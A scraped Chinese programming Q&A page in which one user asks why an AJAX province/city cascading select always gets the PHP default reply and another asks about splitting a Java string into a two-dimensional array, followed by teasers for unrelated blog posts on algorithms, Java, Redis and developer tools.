* 我的目的是用ajax从服务器获取省份信息然后显示页面上 * 当鼠标变动省份的时候,ajax从服务器返回该省份对应的字符串城市信息 * 省份信息显示正常,但是获取城市信息的时候,遇到了奇葩的问题 * 获取的城市信息永远是default的值 “你是个奇葩”,若是我手动指定$province = “山东省”则正确显示 实在找不到这个现象的原因,各种尝试 求高人指点 PS:AJAX没有问题,数据传输都是正常的 HTML的内容 ``` <!DOCTYPE html> <html> <head> <title>Ajax实现二级联动</title> <meta charset="utf-8"/> </head> <body> <form> <select id="province" name="XXX"> <option>请选择</option> </select> <select id="city"> <option>请选择</option> </select> </form> <script> //Ajax从服务器获取省份信息 var xhr = getXhr(); var province = document.getElementById('province'); window.onload=function(){ xhr.open("get","7-province.php?province=province"); xhr.send(null); xhr.onreadystatechange=function(){ if(xhr.readyState==4&&xhr.status==200){ var data = xhr.responseText; var provs = data.split(","); var provHTML = []; for(var i=0;i<provs.length;i++){ provHTML[i]="<option value="+provs[i]+">"+provs[i]+"</option>"; } province.innerHTML="<option>请选择</option>"+provHTML.join("");//join里空白的话默认 逗号分割 } } } //2.当用户选择省份信息时,Ajax获取城市信息 province.onchange = function(){ if(province.value!="请选择"){ xhr.open("post","7-cities.php"); xhr.setRequestHeader("Content-Type","Application/x-www-form-rulencoded"); //console.log(province.value);//OK xhr.send("province="+province.value); xhr.onreadystatechange = function(){ if(xhr.readyState==4&&xhr.status==200){ var data = xhr.responseText; console.log(data); } } } } function getXhr(){ var xhr=null; if(window.XMLHttpRequest){ xhr = new XMLHttpRequest(); }else{ xhr = new ActiveXObject("Microsoft.XMLHttp"); } return xhr; } </script> </body> </html> ``` 省份PHP文件 7-province.php ``` <?php $province = 0; @$province = $_GET['province']; // echo @province; //@是为了不显示警告 if(isset($province)){ echo "山东省,湖南省,河南省"; } ?> ``` 城市php文件 7-cities.php ``` <?php $province = null; @$province = $_POST['province'];/*"山东省"*/ //这里直接让@$province = "山东省",页面返回字符串 "山东1,山东2,山东3,山东4,山东5" if(isset($province)){ switch($province){ case "山东省": echo "山东1,山东2,山东3,山东4,山东5"; break; case "湖南省": echo "湖南1,湖南2,湖南3"; break; case "河南省": echo "河南1,河南2"; break; default: echo "你真是个奇葩"; break; } }else{ echo 'prov无效'; } ?> ```
java 二维数组拆分并取值
数组总长度已知, 第 3 个与最后一个中间的数组为动态 在将数组全部输出的前提下,需要得出中间的数组有几组 个人觉得,不算数组下标的前两个 [0]和[1],将第3个作为第一个,不算数组的最后一个,可以拿到中间的数组, 下面是一个 Test 类 ``` package com.org.tjkmes.basicproduct.entity; import java.util.ArrayList; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; public class SZ_Test { @SuppressWarnings("unused") public static void main(String[] args) { String bufferzj[][] = new String[100][100]; bufferzj = getChartdtlsSplitBZWPzj();//纵筋描述 } @SuppressWarnings("unchecked") private static String[][] getChartdtlsSplitBZWPzj() { //String value = basicproduct.getZongremark(); String value = "8:200+100*6+200*2+300*3+400*4+200"; //此时 长度为 11 /* 【 去掉前2组后 100*6 为 1组 200*2 为第 2组, 需要计算出 中间的动态值 一共有几组 value 中 100*6+200*2+300*3+400*4 为动态的,现在为 4 组 如 : String value = "8:200+ 100*6+200*2+300*3 +200" , 现在为 3 组 】 */ //【1.】首先以数字进行分割 String regex = "[a-z]+|\\d+";//"[a-z]"匹配"a"到"z"范围 内的任何小写字母 ; \\d+ 匹配所有数字 Pattern pattern =Pattern.compile(regex); @SuppressWarnings("rawtypes") List list=new ArrayList(); Matcher matcher = pattern.matcher(value); while(matcher.find()){ list.add(matcher.group().toString());//获取总长度 } // 初始化一个二维字符串数组,只指定了行数 int intlistsize = list.size();//11 System.out.println("1.总长度为 : " +intlistsize); int countnum = intlistsize %intlistsize == 0 ? intlistsize /intlistsize : intlistsize /intlistsize + 1; //【2. 对数组进行分组】 // 格式为 String[][] arr = new String[countnum][intlistsize];//[1][数组长度] for (int i = 0; i < countnum; i++) {//1组 if (i*2 + 0<intlistsize) { arr[i][0] = (String) list.get(i*intlistsize + 0); //纵筋直径 } if (i*2 + 1<intlistsize) { arr[i][1] = (String) list.get(i*intlistsize + 1);//纵筋抽头 } /** -------这里为动态的-----start--------- */ /* 8:200+ 【 100*6+200*2+300*3+400*4 】 +200 【 】内为 动态 100*6 为第 1组 , 200*2为第 2组, 300*3 为第 3组,.... */ if (i*2 + 2<intlistsize) { arr[i][2] = (String) list.get(i*5 + 2);//横筋间隔 } if (i*2 + 3<intlistsize) { arr[i][3] = (String) list.get(i*5 + 3);//数量 } // . //横泾间隔 n // . //数量 n // . // . System.out.println("2.组数为 : " ); /** -------这里为动态的-----end---------- */ //最后一组(动态) if (i*2 + 10<intlistsize) { arr[i][10] = (String) list.get(i*intlistsize + 10);//纵筋留尾 【最后一组】 } } return arr; // 8:200+100*6+200*2+300*3+400*4+200 // arr 格式为 [[8, 200, 100, 6, 200, 2, 300, 3, 400, 4, 200]] } } ```
动态规划入门到熟悉,看不懂来打我啊
持续更新。。。。。。 2.1斐波那契系列问题 2.2矩阵系列问题 2.3跳跃系列问题 3.1 01背包 3.2 完全背包 3.3多重背包 3.4 一些变形选讲 2.1斐波那契系列问题 在数学上,斐波纳契数列以如下被以递归的方法定义:F(0)=0,F(1)=1, F(n)=F(n-1)+F(n-2)(n&gt;=2,n∈N*)根据定义,前十项为1, 1, 2, 3...
Java学习的正确打开方式
在博主认为,对于入门级学习java的最佳学习方法莫过于视频+博客+书籍+总结,前三者博主将淋漓尽致地挥毫于这篇博客文章中,至于总结在于个人,实际上越到后面你会发现学习的最好方式就是阅读参考官方文档其次就是国内的书籍,博客次之,这又是一个层次了,这里暂时不提后面再谈。博主将为各位入门java保驾护航,各位只管冲鸭!!!上天是公平的,只要不辜负时间,时间自然不会辜负你。 何谓学习?博主所理解的学习,它是一个过程,是一个不断累积、不断沉淀、不断总结、善于传达自己的个人见解以及乐于分享的过程。
程序员必须掌握的核心算法有哪些?
由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过针对这个问题,我稍微总结一下我学过的算法知识点,以及我觉得值得学习的算法。这些算法与数据结构的学习大多数是零散的,并没有一本把他们全部覆盖的书籍。下面是我觉得值得学习的一些算法以及数据结构,当然,我也会整理一些看过...
Python——画一棵漂亮的樱花树(不同种樱花+玫瑰+圣诞树喔)
最近翻到一篇知乎,上面有不少用Python(大多是turtle库)绘制的树图,感觉很漂亮,我整理了一下,挑了一些我觉得不错的代码分享给大家(这些我都测试过,确实可以生成) one 樱花树 动态生成樱花 效果图(这个是动态的): 实现代码 import turtle as T import random import time # 画樱花的躯干(60,t) def Tree(branch, ...
大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了
大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、电子书搜索 对于大部分程序员...
shell脚本:备份数据库、代码上线
备份MySQL数据库 场景: 一台MySQL服务器,跑着5个数据库,在没有做主从的情况下,需要对这5个库进行备份 需求: 1)每天备份一次,需要备份所有的库 2)把备份数据存放到/data/backup/下 3)备份文件名称格式示例:dbname-2019-11-23.sql 4)需要对1天以前的所有sql文件压缩,格式为gzip 5)本地数据保留1周 6)需要把备份的数据同步到远程备份中心,假如...
如何安装 IntelliJ IDEA 最新版本——详细教程
IntelliJ IDEA 简称 IDEA,被业界公认为最好的 Java 集成开发工具,尤其在智能代码助手、代码自动提示、代码重构、代码版本管理(Git、SVN、Maven)、单元测试、代码分析等方面有着亮眼的发挥。IDEA 产于捷克,开发人员以严谨著称的东欧程序员为主。IDEA 分为社区版和付费版两个版本。 我呢,一直是 Eclipse 的忠实粉丝,差不多十年的老用户了。很早就接触到了 IDEA...
面试还搞不懂redis,快看看这40道面试题(含答案和思维导图)
Redis 面试题 1、什么是 Redis?. 2、Redis 的数据类型? 3、使用 Redis 有哪些好处? 4、Redis 相比 Memcached 有哪些优势? 5、Memcache 与 Redis 的区别都有哪些? 6、Redis 是单进程单线程的? 7、一个字符串类型的值能存储最大容量是多少? 8、Redis 的持久化机制是什么?各自的优缺点? 9、Redis 常见性...
为什么要推荐大家学习字节码?
配套视频: 为什么推荐大家学习Java字节码 https://www.bilibili.com/video/av77600176/ 一、背景 本文主要探讨:为什么要学习 JVM 字节码? 可能很多人会觉得没必要,因为平时开发用不到,而且不学这个也没耽误学习。 但是这里分享一点感悟,即人总是根据自己已经掌握的知识和技能来解决问题的。 这里有个悖论,有时候你觉得有些技术没用恰恰是...
【设计模式】单例模式的八种写法分析
网上泛滥流传单例模式的写法种类,有说7种的,也有说6种的,当然也不排除说5种的,他们说的有错吗?其实没有对与错,刨根问底,写法终究是写法,其本质精髓大体一致!因此完全没必要去追究写法的多少,有这个时间还不如跟着宜春去网吧偷耳机、去田里抓青蛙得了,一天天的....
《面试宝典》:检验是否为合格的初中级程序员的面试知识点,你都知道了吗?查漏补缺
欢迎关注文章系列,一起学习 《提升能力,涨薪可待篇》 《面试知识,工作可待篇》 《实战演练,拒绝996篇》 也欢迎关注公 众 号【Ccww笔记】,原创技术文章第一时间推出 如果此文对你有帮助、喜欢的话,那就点个赞呗,点个关注呗! 《面试知识,工作可待篇》-Java笔试面试基础知识大全 前言 是不是感觉找工作面试是那么难呢? 在找工作面试应在学习的基础进行总结面试知识点,工作也指日可待,欢...
在阿里,40岁的奋斗姿势
在阿里,40岁的奋斗姿势 在阿里,什么样的年纪可以称为老呢?35岁? 在云网络,有这样一群人,他们的平均年龄接近40,却刚刚开辟职业生涯的第二战场。 他们的奋斗姿势是什么样的呢? 洛神赋 “翩若惊鸿,婉若游龙。荣曜秋菊,华茂春松。髣髴兮若轻云之蔽月,飘飖兮若流风之回雪。远而望之,皎若太阳升朝霞;迫而察之,灼若芙蕖出渌波。” 爱洛神,爱阿里云 2018年,阿里云网络产品部门启动洛神2.0升...
【超详细分析】关于三次握手与四次挥手面试官想考我们什么?
在面试中,三次握手和四次挥手可以说是问的最频繁的一个知识点了,我相信大家也都看过很多关于三次握手与四次挥手的文章,今天的这篇文章,重点是围绕着面试,我们应该掌握哪些比较重要的点,哪些是比较被面试官给问到的,我觉得如果你能把我下面列举的一些点都记住、理解,我想就差不多了。 三次握手 当面试官问你为什么需要有三次握手、三次握手的作用、讲讲三次三次握手的时候,我想很多人会这样回答: 首先很多人会先讲下握...
压测学习总结(1)——高并发性能指标:QPS、TPS、RT、吞吐量详解
一、QPS,每秒查询 QPS:Queries Per Second意思是“每秒查询率”,是一台服务器每秒能够相应的查询次数,是对一个特定的查询服务器在规定时间内所处理流量多少的衡量标准。互联网中,作为域名系统服务器的机器的性能经常用每秒查询率来衡量。 二、TPS,每秒事务 TPS:是TransactionsPerSecond的缩写,也就是事务数/秒。它是软件测试结果的测量单位。一个事务是指一...
新程序员七宗罪
当我发表这篇文章《为什么每个工程师都应该开始考虑开发中的分析和编程技能呢?》时,我从未想到它会对读者产生如此积极的影响。那些想要开始探索编程和数据科学领域的人向我寻求建议;还有一些人问我下一篇文章的发布日期;还有许多人询问如何顺利过渡到这个职业。我非常鼓励大家继续分享我在这个旅程的经验,学习,成功和失败,以帮助尽可能多的人过渡到一个充满无数好处和机会的职业生涯。亲爱的读者,谢谢你。 -罗伯特。 ...
活到老,学到老,程序员也该如此
全文共2763字,预计学习时长8分钟 图片来源:Pixabay 此前,“网传阿里巴巴要求尽快实现P8全员35周岁以内”的消息闹得沸沸扬扬。虽然很快被阿里辟谣,但苍蝇不叮无缝的蛋,无蜜不招彩蝶蜂。消息从何而来?真相究竟怎样?我们无从而知。我们只知道一个事实:不知从何时开始,程序猿也被划在了“吃青春饭”行业之列。 饱受“996ICU”摧残后,好不容易“头秃了变强了”,即将步入为“高...
2019年Spring Boot面试都问了什么?快看看这22道面试题!
Spring Boot 面试题 1、什么是 Spring Boot? 2、Spring Boot 有哪些优点? 3、什么是 JavaConfig? 4、如何重新加载 Spring Boot 上的更改,而无需重新启动服务器? 5、Spring Boot 中的监视器是什么? 6、如何在 Spring Boot 中禁用 Actuator 端点安全性? 7、如何在自定义端口上运行 Sprin...
小白学 Python 爬虫(5):前置准备(四)数据库基础
人生苦短,我用 Python 前文传送门: 小白学 Python 爬虫(1):开篇 小白学 Python 爬虫(2):前置准备(一)基本类库的安装 小白学 Python 爬虫(3):前置准备(二)Linux基础入门 小白学 Python 爬虫(4):前置准备(三)Docker基础入门 本篇文章,我们接着介绍基础内容,数据库。 爬虫将数据爬取完成后,总要有地方存放吧,这个数据存在哪里呢? ...
面试官:关于Java性能优化,你有什么技巧
通过使用一些辅助性工具来找到程序中的瓶颈,然后就可以对瓶颈部分的代码进行优化。 一般有两种方案:即优化代码或更改设计方法。我们一般会选择后者,因为不去调用以下代码要比调用一些优化的代码更能提高程序的性能。而一个设计良好的程序能够精简代码,从而提高性能。 下面将提供一些在JAVA程序的设计和编码中,为了能够提高JAVA程序的性能,而经常采用的一些方法和技巧。 1.对象的生成和大小的调整。 J...
JavaScript 中, 5 种增加代码可读性的最佳实践
作者:Milos Protic 译者:前端小智 来源:blog.risingstack 为了保证的可读性,本文采用意译而非直译。 简介 如果咱们关注代码本身结构及可读笥,而不是只关心它是否能工作,那么咱们写代码是有一定的水准。专业开发人员将为未来的自己和“其他人”编写代码,而不仅仅只编写能应付当前工作的代码。 在此基础上,可读性高的代码可以定义为自解释的、易于人理解的、易于更改...
【图解算法面试】记一次面试:说说游戏中的敏感词过滤是如何实现的?
版权声明:本文为苦逼的码农原创。未经同意禁止任何形式转载,特别是那些复制粘贴到别的平台的,否则,必定追究。欢迎大家多多转发,谢谢。 小秋今天去面试了,面试官问了一个与敏感词过滤算法相关的问题,然而小秋对敏感词过滤算法一点也没听说过。于是,有了下下事情的发生… 面试官开怼 面试官:玩过王者荣耀吧?了解过敏感词过滤吗?,例如在游戏里,如果我们发送“你在干嘛?麻痹演员啊你?”,由于“麻痹”是一个敏感词,...
程序员需要了解的硬核知识之汇编语言(一)
之前的系列文章从 CPU 和内存方面简单介绍了一下汇编语言,但是还没有系统的了解一下汇编语言,汇编语言作为第二代计算机语言,会用一些容易理解和记忆的字母,单词来代替一个特定的指令,作为高级编程语言的基础,有必要系统的了解一下汇编语言,那么本篇文章希望大家跟我一起来了解一下汇编语言。 汇编语言和本地代码 我们在之前的文章中探讨过,计算机 CPU 只能运行本地代码(机器语言)程序,用 C 语言等高级语...
GitHub 标星 1.6w+,我发现了一个宝藏项目,作为编程新手有福了!
大家好,我是 Rocky0429,一个最近老在 GitHub 上闲逛的蒟蒻… 特别惭愧的是,虽然我很早就知道 GitHub,但是学会逛 GitHub 的时间特别晚。当时一方面是因为菜,看着这种全是英文的东西难受,不知道该怎么去玩,另一方面是一直在搞 ACM,没有做一些工程类的项目,所以想当然的以为和 GitHub 也没什么关系(当然这种想法是错误的)。 后来自己花了一个星期看完了 Pyt...
Java知识体系最强总结(2020版)
更新于2019-12-15 10:38:00 本人从事Java开发已多年,平时有记录问题解决方案和总结知识点的习惯,整理了一些有关Java的知识体系,这不是最终版,会不定期的更新。也算是记录自己在从事编程工作的成长足迹,通过博客可以促进博主与阅读者的共同进步,结交更多志同道合的朋友。特此分享给大家,本人见识有限,写的博客难免有错误或者疏忽的地方,还望各位大佬指点,在此表示感激不尽。 文章目录...
计算机专业的书普遍都这么贵,你们都是怎么获取资源的?
介绍几个可以下载编程电子书籍的网站。 1.Github Github上编程书资源很多,你可以根据类型和语言去搜索。推荐几个热门的: free-programming-books-zh_CN:58K 星的GitHub,编程语言、WEB、函数、大数据、操作系统、在线课程、数据库相关书籍应有尽有,共有几百本。 Go语言高级编程:涵盖CGO,Go汇编语言,RPC实现,Protobuf插件实现,Web框架实...
毕业5年,我问遍了身边的大佬,总结了他们的学习方法
我问了身边10个大佬,总结了他们的学习方法,原来成功都是有迹可循的。
这些软件太强了,Windows必装!尤其程序员!
Windows可谓是大多数人的生产力工具,集娱乐办公于一体,虽然在程序员这个群体中都说苹果是信仰,但是大部分不都是从Windows过来的,而且现在依然有很多的程序员用Windows。 所以,今天我就把我私藏的Windows必装的软件分享给大家,如果有一个你没有用过甚至没有听过,那你就赚了????,这可都是提升你幸福感的高效率生产力工具哦! 走起!???? NO、1 ScreenToGif 屏幕,摄像头和白板...
大学四年因为知道了这32个网站,我成了别人眼中的大神!
依稀记得,毕业那天,我们导员发给我毕业证的时候对我说“你可是咱们系的风云人物啊”,哎呀,别提当时多开心啦????,嗯,我们导员是所有导员中最帅的一个,真的???? 不过,导员说的是实话,很多人都叫我大神的,为啥,因为我知道这32个网站啊,你说强不强????,这次是绝对的干货,看好啦,走起来! PS:每个网站都是学计算机混互联网必须知道的,真的牛杯,我就不过多介绍了,大家自行探索,觉得没用的,尽管留言吐槽吧???? 社...
Fiddler+夜神模拟器进行APP抓包
Fiddler+夜神模拟器进行APP抓包 作者:霞落满天 需求:对公司APP进行抓包获取详细的接口信息,这是现在开发必备的。 工具:Fiddler抓包,夜神模拟器 模拟手机 安装APP 1.下载Fiddler https://www.telerik.com/download/fiddler Fiddler正是在这里帮助您记录计算机和Internet之间传递的所有HTTP和HTTPS通信...
相关热词 c# 数组类型 泛型约束 c#的赛狗日程序 c# 传递数组 可变参数 c# 生成存储过程 c# list 补集 c#获得所有窗体 c# 当前秒数转成年月日 c#中的枚举 c# 计算校验和 连续随机数不重复c#
立即提问